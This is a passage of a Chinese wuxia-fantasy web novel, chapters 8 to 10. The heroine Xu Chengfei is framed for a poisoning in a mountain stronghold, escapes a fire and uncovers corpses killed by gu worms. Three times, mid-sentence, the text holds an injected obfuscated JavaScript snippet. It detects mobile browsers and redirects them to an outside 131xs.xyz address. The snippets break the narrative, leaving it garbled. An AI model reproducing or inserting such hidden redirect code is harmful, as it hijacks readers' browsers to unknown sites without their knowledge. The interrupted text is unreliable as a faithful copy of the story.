“景暄,我刚刚远远的看很像你,没想到真这么巧!” 裴景暄笑道: “我从新梁一路游山玩水过来,家母跟我提起过虎啸寨,又恰好在江湖上打听到了些动静,便亲自过来看看。” 纪珩向她介绍了徐澄飞,提到毒杀案时,两姐妹到一旁叙话去了。 徐澄飞暗自揣摩,觉得刚刚伏虺的失控恐怕与这个裴景暄有关,此人远没有看上去那么简单。 小小的虎啸寨竟然如此藏龙卧虎,看来自己得早些做逃跑的打算了。 晚宴过后,众人闲聊了一会儿,寨主就开始组织大家开篝火晚会。一群人围着高高的篝火跳舞,气氛十分和睦。 徐澄飞才从纪珩那里了解到,裴景暄是当今昭武盟盟主裴英之子,曾与纪珩做过同窗。 昭武盟乃是天下第一盟,整个江湖名望在外的顶尖门门派都加入了此盟,其中的豪杰更是如过江之卿,数不胜数。 这个裴景暄细皮嫩肉的,却不像是习武的人。 徐澄飞思索着,一个不留神,被一个人撞了一下。 只见那个男人手里拿着个馍,一只脚略跛,神态痴傻地四处乱撞,口中不停地唤着“蝶儿,蝶儿”,惹得被撞的客人骂声不断。 一位约莫五十左右,穿着朴素的阿依族奶奶领走了那个傻子,回来向客人们道歉: “这是我们寨子的傻子,出生就傻了,各位大侠不要责怪。” 另一位阿依族人附和道: “是呢,在我们族里,傻子一直被看做守寨人,是吉祥物呢。被撞的客人一定会幸运的。” 众人听见这个解释也不再追究,领走傻子的那位奶奶摇头笑了笑也离开了。 几番折腾下来,终于到了休息的时候。徐澄飞被迫和李珅住一间房,贺安则由纪珩看管。 贺安临走前抱着徐澄飞的大腿哇哇大叫,泪花在眼眶里打转。 徐澄飞耐心道: “行了,你叫得再大声那个姓李的也不会让咱们俩住一起的。” “那咱们今天还能跑掉吗师姐?你别丢下我一个人啊!” 徐澄飞被逗笑了: “我什么时候丢下过你?” “你去和刘子钧玩的时候。”贺安委屈巴巴道。 徐澄飞直接略过这个话题,正色道: “那是谈公事。今晚绝不能耽搁,我等李珅睡着了就跑出来,到时候去接你。我在你窗外面学蛙叫,若是纪珩还没睡,你就不用回应。” 贺安点点头回房间去了。 徐澄飞也回了房间,刚跨进房门,李珅就使唤她去打洗脸水。 徐澄飞黑着脸把水打回来放在李珅面前,委婉道: “李大人还是找个手下同您住吧,我手脚笨,怕伺候不好你呢。” 李珅笑了笑,口气讥讽: “我这是怕徐少侠手脚太敏捷,动些不该动的心思,所以替你消耗一些精力。” 徐澄飞吃了瘪,没敢继续说话,心中更是惶惶——这李珅莫不是看出自己今晚准备跑了? 她躺在床上辗转反侧,忐忑地等到了后半夜,确定李珅均匀的呼吸没有变化后,才轻手轻脚地起身摸开了窗户爬了出去。 她走到旁边的房间学了三声蛙叫,贺安立马就从窗户口探出了脑袋又蹑手蹑脚地爬出来。 “师姐!我行李都收拾好了,你可真慢啊!”她兴奋道。 “少废话了,赶紧跟着我走。” 二人穿过几个竹楼,又走到了大广场。广场上空荡荡的,只有熄灭的火堆里还残留着火星的光芒。 走到广场前方时,徐澄飞突然发现高台后面是一个临时搭的小厨房,里面传出来饭菜的余香。 她想了想,连夜赶路也不太好寻吃的,还是需要一些食物补充能量的。于是她决定带着贺安进去打包点饭菜。 贺安进去后拿了两个饼就催着要走。徐澄飞倒不慌不忙,找了张油纸准备把锅里剩的卤鸭肉装上。 就在她精心挑选出一个油脂丰厚的鸭腿时,灶台后一只沾满煤灰的脏手伸出来拿走了它。 徐澄飞惊得后退几步,灶台后传来咀嚼的声音。她缓缓走上前一瞧,才发现居然是晚上撞人的那个傻子。 傻子两口嗦完了鸭腿,又盯上了贺安手里的饼,立刻痴痴地去抢。 贺安本还有点护食,同傻子扯了几回。傻子的口水掉在她手上,她立刻惊呼着松了手。 “跟他抢做什么?盘里还有!”徐澄飞低声道。 此时,厨房外却有一缕微光渐渐靠近。 “代虎?你是不是又在厨房偷吃了!”一道很近的声音传来。 那傻子听到有人唤他,更加急头白脸地啃手上的饼。 徐澄飞拉着贺安躲在了灶台后面。 一个矮壮的身影举着个烛台进了厨房——原来是晚宴时第一个表演的那个光膀子。 她揪住还在啃饼的傻子的耳朵,责骂道: “寨主半夜起来看见你不在担心你,专门吩咐我来找呢,原来你在这里偷腥吃,还嫌今天闯的麻烦不够多?” 傻子却不肯跟他走,大叫着同光膀子推搡。 周围的竹楼似乎有人被这动静吵醒,亮起了烛光。 徐澄飞感觉形势不对,拉着贺安试图趁两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417926|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不注意跑掉。 才走出厨房几步,光膀子就发现了她们,立刻追上来呵道: “什么人!” 徐澄飞本以为已经拉开了足够的距离,没想到转瞬间光膀子的声音就到了耳边: “是你?刀耍得那么好,原来是来骗寨主银子的,进了寨门可就别想再跑出去了!” 徐澄飞感觉到一只手抓住了自己的衣料,她立刻把贺安推到前面,抽刀断了那截衣料,转身同光膀子对视。 光膀子一愣,随即缓缓抽出了缠在腰间的绳镖,恶狠狠地看向徐澄飞。 徐澄飞知道不宜久战,先发制人向光膀子劈去。 光膀子却并不急着躲,眸色一红,瞬间出现在了徐澄飞身后! 她右手发镖,镖头打了个花后直直打向徐澄飞。 徐澄飞转身就看到了迎面而来闪着寒光的镖头,她侧身躲过。 光膀子抖了下手腕,镖头从另一个方向回收,仍是紧追着徐澄飞不放。 徐澄飞察觉出这绳镖不善近战,举刀挡住了镖头的攻势。镖头在她的刀上转了几圈便止住垂下,连带着镖绳缠住了伏虺。 绳子韧性强,并不能立刻劈断,她便顺势松开刀柄任由光膀子收镖,自己趁机抓住了垂落的镖头,顺着光膀子的动作带着她往前。 光膀子夺过伏虺,得意一笑: “这宝刀归我了!” “那得看它同不同意了!”徐澄飞亮出镖头刺向光膀子。 两人距离过近,光膀子果然慌了神,发动神力想躲过这一刺。 徐澄飞在手中的镖头消失的一瞬,大喊一声: “伏虺!” 消失的光膀子瞬间回到了她眼前。 徐澄飞紧紧抓着光膀子握住伏虺的手。 此人的惯用手是右手,一时用不了绳镖,竟两只手一起和徐澄飞较起劲来。两个人瞪着对方憋得满脸通红,场面顿时有几分滑稽。 “别白费力气了,你就放我们走吧!银子根本不在我这里!”徐澄飞咬牙道。 光膀子挤出一抹狞笑: “进了我们虎啸寨,你就得给我们寨主卖命!” 说罢她抽出左手,从腰间摸出来一把叶子大小的小镖,手指发力朝徐澄飞弹去。 徐澄飞松手躲过,光膀子也松了手,伏虺立刻回到了徐澄飞的手上。 一连串飞镖射来,徐澄飞边躲边跑。 二人斗到了寨门口,渐渐有人看了过来,徐澄飞心里一急,转回去俯身刹住,朝光膀子甩出了刀。 伏虺精准地打落了迎来的飞镖,势头却丝毫不减。 光膀子又要瞬移,下一秒却出现在了伏虺回旋的路上,锋利的刀刃划过,她的肩膀上挂了彩。 “扑通”一声,光膀子瞪着眼睛跪倒在地上。 徐澄飞来不及细想,拿着刀转身就跑。 寨门却被赶来的两个大汉堵住了,回头一看,四周点点火光在朝这边聚集——已经跑不掉了。 徐澄飞认命般坐在地上,琢磨着待会怎么给寨主陪笑,怎么糊弄李珅。 围上来的人群中突然传出一阵惊呼: “她死了!” 什么? 徐澄飞立刻起身去查看,只见光膀子脸上几道黑血,没了呼吸——和刘子钧的死状一模一样。 8. 第 8 章 徐澄飞被两个人一左一右架着,动弹不得。代宗赋匆匆赶来,看到光膀子的死状后,面色发青。 “就是她,寨主!”几个围观的指认道。 代宗赋一言不发地看向徐澄飞。 徐澄飞苦笑道: “我说这事儿跟我没关系你信吗?” “怎么,你还不想承认?她肩膀上的伤口不是你的刀划的?”此话一出,众人皆是七嘴八舌地附和。 “好了,”代宗赋开口镇住场面,缓缓走到徐澄飞面前,“徐少侠,解释一下吧?” “我虽划了她一刀,但她这明显是中毒之状吧!” “那深更半夜的,你为何没在房间里休息?而是同她打架?” “我…睡不着,出来随便逛逛。” 这时,裴景暄揣着个汤婆子从人群中挤出来,惊讶道: “又是你啊,徐少侠!” 李珅在后面冷冷地看着徐澄飞,纪珩跟在后面,面露担忧。 裴景暄故作愁容,继续拱火道: “你也太倒霉了吧,在夷川的时候就碰上这种事儿…咦?这人的死法跟你那回碰见的一模一样吧?你还因为那事儿被关在县衙好几天呢!” 此话一出,众人纷纷议论起来,开始揣测徐澄飞是个爱往刀上抹毒杀人的变态。 “喂!你嘴巴放干净点儿,我跟你什么仇什么怨?”徐澄飞激动起来,冲上去要将裴景暄大卸八块。 两个大汉差点没拉住,抬脚踹了下她的膝窝。 徐澄飞立刻疼得跪在地上,她不甘地抬头,周围的人都在指责她,请示寨主惩罚,李珅似乎也没了兴致,只留下一个渐渐远去背影。 事已至此,为了保命,她决定让场面变得更混乱一些,于是对着李珅的背影大吼道: “你们知道那个人是谁吗?她是皇…” 突然她感到腰间一阵刺痛,眼前一黑,后面几个字被淹没在她涣散的意识之中。 · 贺安躲在竹楼下的鸡圈里,眼睁睁看着徐澄飞被拖走,纵然心急如焚,也不敢贸然现身。 她等人群散去之后,才悄悄出来,捡起了落在草丛里的伏虺,循着徐澄飞离去的方向走。 她看见徐澄飞被拖进了一个柴房,抬她的人把她放下后见她仍是昏迷不醒,便一同离开出恭去了。 贺安趁机进入房内,奈何她怎么摇徐澄飞,此人也没有醒来的迹象。 “师姐,师姐!你醒醒啊!”贺安的泪珠开始一串串地往下掉。 这时,外面传来交谈的声音——是刚刚出去的人要回来了。 她不敢再多留,将伏虺安置在一旁,起身出了柴房。 她在寨子里东躲西藏地走了一整天,柴房始终有人把守着,根本没有任何靠近的机会。 夜晚,她在一户人家的牛棚里躲到深夜,饿得前胸贴后背,才想起包里还有徐澄飞打包的卤鸭肉。她拿出来眼泪花花地吃着,每啃出来一个骨头,就要把它砸在墙上泄愤: “都是你们,害的师姐被抓走!” 这时,月光下的墙面略过一道影子。 贺安立即闭了嘴,紧张地挪到围栏下藏着。 她透过缝隙看见是代宗赋一个人神色凝重地背着手疾步前行。 这么晚了,她要去哪里呢? 贺安害怕代宗赋要对徐澄飞做不好的事,于是悄悄跟上了她。 只见代宗赋走到寨子东侧后开始沿着阶梯向上方爬。 看到不是往柴房的方向,贺安松了一口气,犹豫了一下还是选择继续跟着她。 一直爬到路旁只剩零星几个竹楼时,代宗赋走进了一片杂草丛生的菜地,里面有一间破旧的小竹楼。 小竹楼并没有吊脚,大概只有寻常竹楼的一半大,但是却有三层。 代宗赋进了竹楼后,屋内亮起了烛光,贺安将耳朵贴在窗户旁,里面传来代宗赋的声音: “陈芪,你真是糊涂啊!这么多年过去了,你怎么还抓着他们不放?我今天才知道你干了这样的蠢事!” 另一个略微苍老的声音幽幽道: “怎么,寨主忘了自己当年是用怎样的雷霆手段上位的?” “那我问你,死了那么多无关的人,你觉得值得吗?他们又做错了什么!” “宗赋啊,你总是有理的那一方。年轻的时候我以为你真是这种重义气的人呢,到头来不过跟他们一样罢了。” “什么?” “你其实早就知道了吧。去年你一直设法让代宗云那个侄子找我麻烦,不就是为了这一天吗?最近他们寨子里的消息也是你压下来的吧?” “我没有...” “别装了,我替你解决这些麻烦。不过是死了几个无关紧要的人而已,你坐上了整个阿依族首领的位置,还不怕没有人为你效命吗?你现在应该担心的是那几个身份特殊的客人。” 一阵长久的沉默后,屋内传来代宗赋的一声叹息: “陈芪...” 这时,贺安感到手臂上传来一阵强烈的刺痛,她低头一看,发现是一条红色的蜈蚣攀附在她的手臂上,尖锐的口器深深扎进了她的皮肤。 贺安吓得跳了起来,不停地甩动手臂,那条虫子却如同抹了胶一般紧紧咬着她不放。 她忍着恐惧伸手抓住蜈蚣的另一头狠狠一拔,几滴鲜血飞溅,那虫子终于松了口,被扔在地上后蠕动着逃走了。 贺安心有余悸,蹲在地上喘息,却发现房内没有声音了,地上一个人影缓缓靠近,她抬头一看。 代宗赋正站在面前,面色阴沉地盯着她。 · 徐澄飞醒来的时候发现自己被关在一个没有窗户的柴房里,房内十分昏暗,只有顶梁的间隙透出一丝光线。 她伸手摸了摸腰上刺痛的地方,摸出来一根金针,比一般的针大,明显是灌了什么迷药将她放倒的。 不是李珅就是纪珩,害怕身份败露才让自己闭嘴。 徐澄飞衡量了一下目前的局势,寨主好像还没有动手处决她的意思。于是她决定先按下李珅一事不表。 她在房内摸索了一下,摸到了伏虺,便知道贺安来过。但她也不敢一个人和寨子里的人硬碰硬,只能不停地敲门喊冤,骚扰外面的守卫。 守卫被她折腾得烦了,打开门吼道: “嚷什么嚷?寨主今天有事,没空理你,你且安心歇着吧!” 徐澄飞央求道: “好姐姐,给我换个房间吧,这屋里太黑了我害怕!” 那守卫根本不吃她这一套,叫人点了根蜡烛送进来就把门关上了,还贴心地上了锁。 徐澄飞郁闷地坐在角落,将伏虺召回手中。 伏虺刀鞘上的破布条早已经掉了大半,露出古朴的外壳。此时她握在手上,才隐隐感到刀身有些轻微的颤动。 她拔刀出鞘,刀身红光微显,其上的铭文竟然如同活过来一般,在刀面上变换字形,缓缓流转。 徐澄飞自五岁那年被母亲抛下后便守着这把刀,算来已有十三余年,期间刀上不知沾了多少血,却从未出现这般异象。 是什么变故导致的呢?徐澄飞想起被她划了一刀的光膀子。 她安抚般唤了一声伏虺的名字,颤抖着伸出手触向刀刃上那片属于光膀子的干涸的血迹。 就在她碰上去的一刹那,刀身红光大亮,一股凭空而来的强风将她掀翻在地,伏虺滚落在一旁。 接着她感受到一股疯狂的力量在侵入她的四肢百骸,如同虫蚁在啃食着每一寸肌肤。她痛得蜷缩起身子,额头青筋突起。 耳边却充满了一个温柔的女声的呓语: “吾身长逝,吾儿长存。” “万川归源,万灵无尊。” “吾身长逝,吾儿长存。” “万川归源,万灵无尊。” …… 不知过了多久,蚀骨般的痛感渐渐退去,屋外的嘈杂声涌进耳朵,徐澄飞感到脑子一下子清明起来,体内有种陌生的力量被自己所吸收。 她浑身是汗,撑着墙壁起身,心中有了猜测。 伏虺已经恢复了正常,静静地躺在一旁。 徐澄飞瞳色赤红,低语道: “空间跳跃。” 眨眼间,她眼前的墙壁变成了大门。 徐澄飞欣喜若狂,又发动了一次空间跳跃,试图直接跳到门外。 “砰!”她一头撞在了门上。 徐澄飞不信邪,继续发动神力。 柴房的锁链被她撞得“哗哗”响,外面的守卫不耐烦道: “你又干什么?饭点还没到呢!” “没…没什么。”里面传来一阵闷闷的声音。 徐澄飞顶着脑袋上的大包重新坐回角落,她算是搞明白了,这个空间跳跃类似于让自身瞬间通过到目的地的路程,并不能凭空越过坚硬的东西。 除非自己有金刚不坏之身。 她自嘲般摇摇头,又开始思考那阵呓语的内容。 她将伏虺唤来,细细研究着上面的铭文,发现自己仍然看不懂那些如同蛇一般细长缠绵的文字后,便放弃了。 呓语的主人明显是个女人,说什么“吾儿”的,该不会是自己的母亲吧?! 徐澄飞脑子里刚冒出这个猜测就立刻否决了——拿到这把刀的时候,自己的母亲还没死呢! 百思不得其解后,她感觉到身心俱疲,于是抱着刀沉沉睡了过去。 这一觉睡得十分舒服,她是被外面哄闹的声音吵醒的。 屋内更加黑了,只有一层灰蒙蒙的烛光,已经是夜晚了。 只听外面有人声嘶力竭地喊着: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417927|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走水了!走水了!” 徐澄飞立刻走到门前: “有人吗?发生什么了?” 没人回答她,她推了推门,仍是锁着的。 门外有许多人经过的惊呼声和脚步声,甚至能闻到一丝焦烟的味道。 徐澄飞开始大力捶门: “来人呐,放我出去!这儿还有个人呢!” 就在她叫得嗓子快冒烟的时候,门上的锁链“咔哒”一声响,门被打开了。 裴景暄仍是揣着个汤婆子,挑眉看着她,嘲讽道: “徐少侠,火都要烧到门前了还只知道喊呢?你的宝刀生气不让你使啦?” 徐澄飞瞪着眼睛: “你就一直在这里看着我喊?” 裴景暄轻笑一声,火光映得她的脸更加明艳,她抬手指了指徐澄飞的后方: “你看。” 徐澄飞顺着她指向的寨子东侧望去,只见离柴房只隔了几座竹楼的地方已是火势滔天,半边天空都飘满了浓烟。 人们发现很难靠打水浇灭这火,便做了许多湿沙袋布置在边缘防止火势蔓延。 徐澄飞看着被火舌吞灭的竹楼,顿时担忧起贺安的安危来。她跑到大路上抓住一个提着桶打水的人问道: “可有人伤亡?” 打水的甩开她的手,匆忙留下一句: “里面可住着客人呐,现在还没找到他们呢!恐怕凶多吉少了!” 徐澄飞冷静下来想了想,贺安一个人应该不会跑到陌生人的房间里躲着,那她会去找李珅他们吗? 忽然,她想起了什么,抬头看向着火的地方,仔细辨认她才发现,那里是李珅他们住的竹楼! 徐澄飞立刻要往那边走去,裴景暄却伸出一只手拦住了她: “等等,你在担心李大人他们?” “噢不对,”裴景暄猜测道,“是你那个小师妹吧?” 徐澄飞挥开她的手,怒道: “怎么,裴公子知道她的下落?” 裴景暄耸耸肩: “你那个小师妹那么会躲,我怎会知道她藏在哪儿?” “那你就别拦着我!” “别急啊,我是想说有纪珩在,那竹楼里的人都不会有事的。” 徐澄飞狐疑地看着她,裴景暄悠悠道: “你不知道么?纪珩的曾祖母乃是‘千年圣手’纪丛,她的母亲纪荀是当今大理寺的最高长官。纪珩遗传了她曾祖母的神力,是她同辈亲戚中最有潜能的人。她既能看见因果,也能斩断因果。他们恐怕在火灾发生前就已经撤离了。” “那他们怎么还不出现?” “自然是为了避免再被人盯上了。” “你是说...” 徐澄飞略一思索,便明白了其中的缘由:代宗赋已经知道了李珅等人的身份,又不想谋反的事这么快暴露,扰乱军心,便设计火灾想让李珅他们意外身亡。 这可真是土匪的做派! 裴景暄见她心领神会,便继续问道: “怎么样,徐少侠?能放心跟我走了吗?” “去哪儿?” “去弄明白昨日那人到底是怎么死的。” 徐澄飞跟着裴景暄来到了寨脚西侧,那里搭了一间棚子,棚子上悬挂着白布。阴风阵阵,吹得祭台上的纸花簌簌地响。 棚子中央有一张长桌,上面盖了白布,显出细瘦的人形来。 徐澄飞隐隐觉得不太对劲,上前掀开一看,桌上赫然是一具森森的白骨! “这是…昨天那个光膀子?”她震惊道。 裴景暄将白布盖了回去,并不惊讶: “就是她。她的身体在短短一天内就已经腐化消失了,我猜应该是跟你的刀有关。” 徐澄飞想起今天在柴房里发生的事,不禁怀疑起这个裴景暄知道些什么。 她警惕地试探道: “裴公子怎么对在下的刀这么了解?” 裴景暄笑道: “你还记得那日你在台上舞刀,刀却失控了么?” “果然是你!” 徐澄飞想得没错,此人也有神力。 裴景暄继续道: “我只念了一句‘刀剑无眼’,你的刀便发了疯了。那你可知我扔给你的那把刀为何没有失控?因为刀剑本就无眼,有灵才有眼呢!” 伏虺的身上有灵?徐澄飞如今才惊觉自己的神力也许并不是简单地召唤这一把刀,她能获得空间跳跃的神力也许也与这个灵有关。 这个灵会是属于那阵呓语的主人吗? 裴景暄揣着手背过身,走到棚子后的土坡上扯开一片杂草,示意徐澄飞来看。 徐澄飞凑过去,坡上的这片土明显是湿润的新土,断了根的杂草盖在上面,暗示着下面藏着些不可告人秘密。 9. 第 9 章 裴景暄不知从哪儿摸出一把小铁锹,扔给徐澄飞: “挖挖吧!” 徐澄飞用铁锹刨了两下土便碰到了阻碍,她又在周围继续深挖,没过多久,一截青灰色的手指露了出来。 她看了裴景暄一眼,对方示意她继续挖下去。 空气渐渐被浓烈的恶臭污染,徐澄飞捏着鼻子挖,身边聚起了一个小小的土堆。 终于,一具完整的男尸被挖了出来。 尸体有些肿胀,皮肤上长满了大小不一的尸斑。死者的口鼻眼耳都有黑血的痕迹。 为什么这个人会被埋在这儿? 若是虎啸寨早就有人因为同样的毒而死,那寨子里的人为何却表现得如同头一回遇到一般? 裴景暄拾起一根木枝伸过来戳了戳男人的嘴巴: “你检查一下他的七窍。” 徐澄飞看着这位大小姐颐指气使的样子,不禁怒道: “我刚刚挖了这么久,你怎么不自己检查?” 裴景暄索性扔了树枝,蹲下来盯着尸体: “可以啊!不过徐少侠刚刚刨土脏了手,就将就着你的手瞧吧!” 徐澄飞见她伸出一双白净的手,也没法反驳,气冲冲地又拾起刚刚被扔下的树枝对着尸体摆弄起来。 “眼睛...嗯,没有问题。” “鼻子好像也看不出来什么。” “嘴巴...” “呕——”刚打开嘴巴,徐澄飞就被扑面而来的恶臭熏得呕出了声。 “坚持一下嘛徐少侠。” 裴景暄对着嘴巴瞧了半天,指挥着徐澄飞将尸体的头转来转去。 就在徐澄飞快要发火的时候,她才放过嘴巴去检查耳朵。 此时,天已经是蒙蒙亮了。寨子东侧的火光也开始慢慢黯淡,留下稀薄的黑烟盘旋在上空。 “咦?”裴景暄发现了什么。 徐澄飞探身去看,只见尸体右耳耳廓上那道黑血的上方还有一道斑驳的血迹,那血迹非常细小,有很多处断裂,不仔细观察根本发现不了。 血迹一直延伸到尸体的后颈,突然就消失了。 “不像是蹭到的,血迹的形状很规则,”徐澄飞猜测道,“更像是...虫子爬过去的痕迹!” 裴景暄点点头: “死者并不是被人下毒致死,而是进入他体内的虫子释放了虫毒才死亡的。宿主死亡后,虫子便爬了出来。” “也许只是偶然一条虫子爬过沾上血迹呢?” 裴景暄指了指土坡: “要不你再去看看其他的尸体?这片土坡看起来能装很多人。” 徐澄飞闻言立刻换了个方向刨土,果然又挖出了一个腐烂的更厉害的女人的头,她的一只耳朵上也有类似的痕迹。 徐澄飞顿时感到毛骨悚然: “连环杀手居然是一条虫子?” “并不是一条。宜川和虎啸寨相隔这么远,而有的死者死亡时间很靠近,很有可能有许多条虫子潜伏在这些人体内,在不同的时间发作。” 徐澄飞立刻想到了一个人——旺平。 · “你是说,当年被斩首的旺平一族还有余孽,”裴景暄眼睛一转,似乎觉得十分有趣,“她的后代继承了她操纵蛊虫的神力,这些人都是被她养的蛊虫所害?” 徐澄飞重新把尸体埋回土坡,靠在树边休息,累得一身臭汗: “纪珩同我说过,这些死者都有一个共同点——都与虎啸寨有关。而刘子均死前参加过去年的巴代节庆典,举办庆典的地点正是她丈夫所出生的虎啸寨。她的丈夫也毒发身亡了,这还不巧么?” 刘子均的丈夫随她定居夷川,这么些年来就去了一次虎啸寨也中招了,蛊虫很有可能就是在去年那个庆典上下的,潜伏了一年,这几日才发作。 有这样远程操纵蛊虫的能力,除了旺平那样的神力还能怎么解释呢? “可是这些尸体又是谁藏的?看他们的穿着都是阿依族的族人吧,死了这么多族人都没人发现?若是下蛊的人藏的,又是怎样做到明目张胆地藏在停灵的棚子后的?” 裴景暄所提的也正是徐澄飞搞不明白的地方。 “我们应该先去打听一下旺平后代的消息。”徐澄飞建议道。 “徐少侠说得是,”裴景暄笑着附和道,随即从袋中拿出一张青面獠牙的面具,“不过你这杀人犯的身份还是得遮掩一下。” 两人走回了寨子中心,东侧的火烧了一整晚,已经灭了。被烧的竹楼塌了大半,只留下黑漆漆的骨架。 人们忙着收拾残局,也难怪寨脚的白骨没人理会。 找人打听了一下,李珅一行人果然“尸骨无存”。 这时,身旁走来一个穿着单薄白衣,蒙着面纱的人突然伸手将两人拉进一个小巷子里。 徐澄飞仔细一瞧,此人有一双俊秀温柔的眉眼——正是“葬生火海”的纪珩。 她惊奇道: “纪珩?你怎么一个人跑出来了,李大人呢?” 纪珩看见徐澄飞的面具,苦笑道: “徐少侠,现在你和我都得被迫当蒙面大侠了。” 她继续道: “李大人...她不见了。” “什么?” “什么?” 徐澄飞和裴景暄异口同声。 纪珩愁容满面地解释起来龙去脉: “昨夜歇息前我在李大人和其他郎官身上看到了同一种气,那气在缓慢地蔓延全身,只有死亡之气才会像这样吞噬其他的气。这种气应该是不久前产生的,我并没有想起来在谁身上见过它,无法找到因果的来源,便无法斩断它。” “我向李大人请示出门查明缘由,他们则留在原地防止意外发生。我第一个想到的就是代宗赋,可我问遍了寨子里的人,没人知道寨主去了哪里。在这期间我碰到了一个叫阿青的小姑娘,她身上有同样的气,但是很淡,也许只是很小一部分因果的源头。” “我顺利地将这部分因果截断了,正要仔细问她时,她却哭着跑开了。之后我就没有找到任何线索,再回来时,竹楼已经着火了。我蒙着脸守了竹楼一整夜,确认李大人他们并没有在这里发生意外后才碰到了你们。” 李珅等人一定是在火势变大前离开的,否则应该能碰到守在竹楼旁的纪珩。 徐澄飞问道: “是不是你消掉的因果起了作用,让原本该葬身火海的他们逃了出来。” 纪珩摇摇头: “这种可能性太小了,阿青的那份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417928|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气很淡,只能对整个因果起到微小的影响。我更倾向于死亡的结果仍然存在,而它本来就不是火灾造成的。” 这样看来,李珅或许仍处在生命有危险的状态。而这个寨子里除了代宗赋还会有谁有谋害钦差的想法呢? 徐澄飞建议道: “不如你们继续去找代宗赋吧,寨子里发生了火灾,她不可能不出面的。” 裴景暄意味深长地看了她一眼: “那你呢?” 徐澄飞正色道: “我自然是去打探旺平余孽的消息了,有这么大的祸患留在龙吟山,必定会危害我朝的子民。咱们分头行动,效率更高。” 纪珩了解了原委后,立刻投来欣赏的目光: “徐少侠心系民众,当真是有大侠的风范!” 徐澄飞谦虚地摆手,同两人告辞后便转身朝另一个方向走了。她脚底如同抹了油般,很快便消失在两人的视线之中。 什么心系民众,统统都是屁话! 她可对旺平的事一点儿都不感兴趣。现在没了李珅管她,不正是逃跑的大好时机吗?她只需要找到藏起来的贺安,就可以拍拍屁股走人了。 徐澄飞这么想着,便来到了原本关押她的柴房,贺安也许会守在附近等她出来。 她戴着这夸张的面具,一路上倒也没有引起其他人的注意。毕竟江湖上三教九流,什么人都有,寨主招待的客人里穿奇装异服的多了去了。 她在柴房周围转了好几圈,贺安没找着,却碰到了那天害得她们暴露的傻子代虎。 代虎蹲在一个草垛里,两只手不停地翻动,似乎在摆弄着什么。 徐澄飞凑近一瞧,是一群搬运食物残渣的蚂蚁。代虎一手托着一只蚂蚁,将它们运到另一边后又回来接另一波背着食物的蚂蚁。 他居然在帮蚂蚁搬吃的! 徐澄飞拍拍他的肩膀,劝道: “小兄弟,你这样搬得搬到猴年马月?何不直接将饼渣挪到他们的目的地?” 代虎呆呆地想了一会儿,放下蚂蚁捋了捋发鬓,竟露出几分娇羞之态: “虫虫会变懒,虫虫以后就不会自己找吃的了。” 原来是考虑到了蚂蚁的生存能力,就算要一个个地运蚂蚁也不愿意直接给食物。为一群虫子操心成这样,当真是个痴人! 徐澄飞大笑两声,便蹲下来帮他一起搬蚂蚁。两个人一起,没多久所有背着食物的蚂蚁就背运到了它们的巢穴旁。 代虎对着徐澄飞傻笑道: “谢谢。” 徐澄飞也笑道: “不客气。你也得帮我一个小忙。” “什么?” “你可有见过一个十四岁左右,脸蛋圆圆的,说话很可爱的小妹妹?” 代虎想了一下,点点头拉起徐澄飞的手就走。 徐澄飞跟着他走了一段路,发现代虎的步态动作与前几日有很大的不同。她心中疑惑,试探地问道: “小兄弟,你还没告诉我你叫什么名字呢。” 代虎突然停下脚步,茫然地望向天空: “我叫...” 他思考了很久,这时他的眼前飞过一只扑棱的蛾子,他忽然眼睛一亮,肯定道: “我叫陈蝶!” 10. 第 10 章 陈蝶? 代虎为什么说自己叫陈蝶?徐澄飞看着代虎天真的模样,他似乎还是那个傻子,但是有很多地方都不一样了。 代虎将她领到了东侧寨顶的小路,走到了一座没有吊脚的三层竹楼前。 “你是说那个小妹妹藏在这里面么?”徐澄飞问道。 代虎张着嘴巴愣了好久,傻笑道: “什么小妹妹?我想吃鸭腿。” 徐澄飞叹了口气,这傻子绕了半天的路来到这儿,竟早忘了自己在找什么。 来都来了,她便迈进竹楼的院子里准备仔细瞧瞧。 竹楼里却走出来一位端着水盆的老奶奶,像是要给院子里的菜浇水。 她看见代虎,将盆一放,亲切道: “代虎啊,是不是肚子又饿了,来讨吃的啦?” 她才看见徐澄飞,转而抱歉道: “诶,有客人呐,是不是傻子又给您添麻烦了?” 徐澄飞认出来这是上一次阻止代虎撞人的奶奶,她便问道: “你们为什么都叫他代虎?” “什么?” “他说他自己叫陈蝶。” 老奶奶听完,脸色变了又面,随即恢复了正常,笑道: “傻子说胡话罢了,许是哪个他玩得要好的孩子吧!” 她同徐澄飞告辞便迎着代虎进屋了。 徐澄飞感到十分怪异,傻子行为上的变化也许真与这个陈蝶有关,那位老奶奶明显不想说。 